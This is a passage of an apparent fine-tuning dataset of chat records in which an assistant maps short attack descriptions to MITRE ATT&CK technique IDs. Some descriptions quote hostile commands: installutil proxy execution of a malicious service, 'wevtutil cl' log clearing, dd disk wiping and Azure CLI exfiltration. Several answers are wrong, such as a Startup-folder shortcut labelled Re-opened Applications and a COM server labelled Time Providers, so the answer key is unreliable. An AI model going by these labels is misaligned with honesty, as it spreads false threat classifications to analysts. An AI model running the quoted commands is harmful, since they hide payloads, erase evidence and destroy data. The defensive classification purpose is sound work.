                "content": "An intrusion attempt uses the command 'installutil.exe /LogToConsole=false /U maliciousservice.exe' to execute payloads stealthily."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake extension mimics a popular ad blocker but secretly communicates with a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code runs the \"az storage blob upload\" command via Azure CLI to exfiltrate data from a storage container."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a payload that modified the internal file share's index.html, resulting in defacement."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary signs malicious PowerShell scripts using a stolen code signing certificate to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses AWS CLI to terminate a compromised EC2 instance and launch a fresh instance from a previous snapshot, effectively rolling back the compromised environment."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension polls a hidden Google Docs file for command updates, executing them on the host."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device’s default credentials are used to authenticate to the corporate VPN."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built‑in Windows command \"secedit /export /cfg sec.cfg\", the threat actor collected security policy settings derived from Group Policies."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the Windows Component Object Model (COM) by registering a COM server that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage legitimate cloud-based remote desktop protocols to maintain persistence and control over compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a Kubernetes cluster's kubeconfig and issue \"kubectl delete pod\" commands to disrupt services."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used the \"dd\" command to write zeros over the entire disk, rendering the data unrecoverable before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised WordPress plugin inserted a script into the admin login page, recording credentials typed by site administrators."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program writes a .desktop file to /usr/share/xdg/autostart, causing it to be launched automatically for all users."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the macOS resource fork to store encrypted malicious code, which is later parsed and executed by a compromised application."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious JavaScript embedded in a phishing email exploits a browser vulnerability, causing the victim's system to run the attacker's payload."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a phishing campaign, the email attachment contained a DDE payload that communicated with the Notepad process to inject malicious code into a legitimate system binary."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised iCloud account to sync and download personal photos and documents to an external server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the Windows Registry for installed software information and stores it in a text file."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses `net group /domain` to retrieve a list of domain groups and their members from a Windows domain controller."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber intruders install a tainted OS image on the target machine's storage, enabling persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker acquires an exploit for a command injection flaw in a network management system to develop capabilities for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changed the hostname of the infected machine to WIN-DC01 to blend in with domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious RAW image file is hosted on a malicious website; the image exploits a vulnerability in the web browser’s processing of RAW files, causing execution of a downloader script when the user views the image."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits the order in which Windows resolves executable names by inserting a rogue version of a commonly used tool into a directory listed before the legitimate tool's location."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a high-privilege account, the adversary crafts a Silver Ticket to impersonate a service account and accesses sensitive resources on the network."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Windows command \"wevtutil cl Application\" to clear the Application event log, removing evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software captures keystrokes when the victim types their email login, sending the credentials to a C2 server for later email account compromise."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor changes the Group Policy to enable the execution of unsigned drivers, facilitating the installation of a rootkit."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a man-in-the-middle attack on the code signing server's network traffic to inject their own signed payloads into the software distribution pipeline."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a new serverless function with excessive permissions to harvest data from S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors send a malformed HTTP request to a vulnerable Apache Tomcat manager application, achieving remote execution."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use AWS Systems Manager Session Manager to gain interactive shell access to a target cloud instance without a VPN."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits the rc.local file to launch a credential‑stealing tool each time the host starts."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command and control is performed through a compromised web forum where the attacker posts hidden messages in the HTML comments that the malware parses."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a fake LinkedIn message from a senior executive, requesting the recipient to share confidential client files via a shared drive."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the “cscript” host to run a VBScript that scrapes data from the file system."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant resolves the domain name of the update server on each execution to avoid static IP blacklisting."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a phishing service that sends deceptive emails with fake invoice attachments to trick finance staff into revealing login details."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a cloud‑based VPS and use it to host a malicious email relay for spam campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates thousands of login attempts on a web service, trying different credential combinations."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries load malicious shared libraries into legitimate processes to execute code."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program creates a BITS job that retrieves a hidden backdoor binary from a command-and-control server and installs it silently."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script reads the Windows Registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to list installed programs."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker patches a running executable in memory to bypass license checks, changing hard‑coded values on the fly."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user is tricked into clicking a malicious link in a phishing email, downloading and running a ransomware executable."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal replaces the legitimate Java Web Start JNLP file with one that points to a malicious JAR, leading to compromised client execution."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reads configuration files for mail clients to capture SMTP usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders revert a Google Cloud Compute Engine instance to a known clean image, removing malicious binaries they added."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑actors scrape CDN configuration files that are inadvertently exposed to collect details about the target’s backend infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant forces a system restart by deleting critical system files, causing a crash and reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack was performed by tampering with a build script in a public CI service, causing all builds to include a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects a malicious container image into the registry and redeploys services with altered configurations."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign harvested credentials by dumping LSASS using PowerShell's Invoke-ReflectivePEInjection."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a custom web scraper to gather results from multiple search engines (Google, Bing, DuckDuckGo) for reconnaissance on the target's brand domains."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant calls RegQueryValueEx to extract the system's OS version from the registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries add a line to /etc/profile that launches a hidden backdoor script during system startup for every user session."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a spear‑phishing email that pretends to be from HR and asks the recipient to fill out a questionnaire revealing personal and corporate information."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gains access to an email account via phishing and then uses that access as a stepping stone for lateral movement within the organization's communication infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a carefully crafted email from a spoofed internal address, urging the recipient to review an attached Word document that contains a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a shortcut in the user's Startup folder to automatically reopen the malicious program after a system reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script scans for open VNC ports and automatically logs in using default credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a host, the adversary replaces the legitimate netsh helper DLL with a trojanized version, causing execution when netsh processes a network event."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform in‑flight packet alteration on a VoIP call, inserting malicious payloads that trigger remote code execution on the recipient's device."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a misconfigured API endpoint on a cloud service, bypassing authentication and uploading a web shell to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor sends crafted DNS queries to discover orphaned subdomains belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the RegisterSecurityProvider function to add a malicious authentication package that runs on system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modification of the Mach-O header to include LC_LOAD_DYLIB allows the adversary to execute malicious code each time the target program starts."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a malicious DLL via rundll32.exe from a remote location, achieving code execution under the guise of a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a batch file that uses bitsadmin to download a ransomware component from a command-and-control server, staging the tool on the machine."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors obtain sponsored content slots on social media platforms and embed obfuscated JavaScript that drops a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware periodically checks a public GitHub repository for new configuration files and commands."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the binary's load commands to include a malicious LC_LOAD_DYLIB, the adversary ensures code execution on each run."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a real-time relay attack, forwarding the victim’s MFA prompt to their own device to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using reflective DLL injection, the threat actor loads a malicious PE into a running service without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
